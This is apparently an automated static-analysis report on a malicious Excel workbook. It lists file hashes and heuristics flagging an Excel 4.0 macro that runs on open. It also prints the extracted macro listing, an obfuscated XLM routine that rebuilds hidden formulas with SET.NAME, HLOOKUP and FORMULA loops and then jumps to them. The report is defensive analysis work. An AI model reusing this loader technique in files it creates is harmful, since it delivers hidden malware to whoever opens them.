Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 27cc5987519bd083…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:26:18 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 9a94a65d5892e92752bcd51c380eb6d1 SHA-1: 4fa063574083b27911aba4c673f9935f92b4a4a0 SHA-256: 27cc5987519bd083abf6bf616811a1aa3571d4ede822419856463e2e2ffd32e8
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6491 bytes
SHA-256: bb2dae5d15be29244a46db3956b5dcc7d12b478be21e2797fe12e72a4a31f64d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  znNl
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B131 
' 0018     25 LABEL : Cell Value, String Constant - CFoLtSRnZo len=0 
' 0018     24 LABEL : Cell Value, String Constant - fAVIGcFjw len=0 
' 0018     27 LABEL : Cell Value, String Constant - HZbsaCtjRNeK len=0 
' 0018     21 LABEL : Cell Value, String Constant - iXPdsf len=0 
' 0018     27 LABEL : Cell Value, String Constant - LpXiGRTMwhEL len=0 
' 0018     21 LABEL : Cell Value, String Constant - mvxvjy len=0 
' 0018     23 LABEL : Cell Value, String Constant - nNIZbVKq len=0 
' 0018     24 LABEL : Cell Value, String Constant - oyQliJVdX len=0 
' 0018     24 LABEL : Cell Value, String Constant - pJVaoqkMp len=0 
' 0018     25 LABEL : Cell Value, String Constant - pruuufFDOF len=0 
' 0018     22 LABEL : Cell Value, String Constant - qxdbLRi len=0 
' 0018     22 LABEL : Cell Value, String Constant - uafhsSN len=0 
' 0018     25 LABEL : Cell Value, String Constant - UcDNnkXEHc len=0 
' 0018     27 LABEL : Cell Value, String Constant - vMZhkdpIuNkw len=0 
' 0018     27 LABEL : Cell Value, String Constant - WRwkCRqKTahj len=0 
' 0018     24 LABEL : Cell Value, String Constant - WUaOXhKtA len=0 
' 0018     24 LABEL : Cell Value, String Constant - xONmCiBEy len=0 
' 0018     24 LABEL : Cell Value, String Constant - XTLGNIAgA len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZGMkYBivfh len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZiXIjWRajJV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  znNl,B47,"SET.NAME("iXPdsf",VALUE("0"))",""
'  znNl,B49,"SET.NAME("mvxvjy",iXPdsf)",""
'  znNl,B53,"SET.NAME("LpXiGRTMwhEL",iXPdsf)",""
'  znNl,B56,"SET.NAME("nNIZbVKq",COUNTA(xONmCiBEy))",""
'  znNl,B59,"SET.NAME("pJVaoqkMp",COUNTA(CFoLtSRnZo))",""
'  znNl,B64,[],""
'  znNl,B69,"SET.NAME("qxdbLRi","")",""
'  znNl,B74,"mvxvjy",""
'  znNl,B77,"SET.NAME("WUaOXhKtA",HLOOKUP("*",xONmCiBEy,mvxvjy,FALSE))",""
'  znNl,B81,"HZbsaCtjRNeK",""
'  znNl,B84,"SET.NAME("vMZhkdpIuNkw",iXPdsf)",""
'  znNl,B86,[],""
'  znNl,B90,"vMZhkdpIuNkw",""
'  znNl,B94,"pruuufFDOF",""
'  znNl,B97,"XTLGNIAgA",""
'  znNl,B99,"ZGMkYBivfh",""
'  znNl,B101,"SET.NAME("uafhsSN",VALUE(HLOOKUP("*",CFoLtSRnZo,ZGMkYBivfh,FALSE)))",""
'  znNl,B103,"WRwkCRqKTahj",""
'  znNl,B105,"qxdbLRi",""
'  znNl,B107,"LpXiGRTMwhEL",""
'  znNl,B112,NEXT(),""
'  znNl,B114,"oyQliJVdX",""
'  znNl,B118,"SET.NAME("f",INT(T(FORMULA(T(qxdbLRi)&"",""&T(oyQliJVdX)))))",""
'  znNl,B121,"fAVIGcFjw",""
'  znNl,B126,NEXT(),""
'  znNl,B128,RETURN(),""
'  znNl,B149,"SET.NAME("UcDNnkXEHc",B47)",""
'  znNl,B153,"xONmCiBEy",""
'  znNl,B156,"SET.NAME("CFoLtSRnZo",R97C12)",""
'  znNl,B159,"SET.NAME("fAVIGcFjw",164)",""
'  znNl,B161,"SET.NAME("ZiXIjWRajJV",2)",""
'  znNl,B163,UcDNnkXEHc(),""
'  znNl,B164,HALT(),""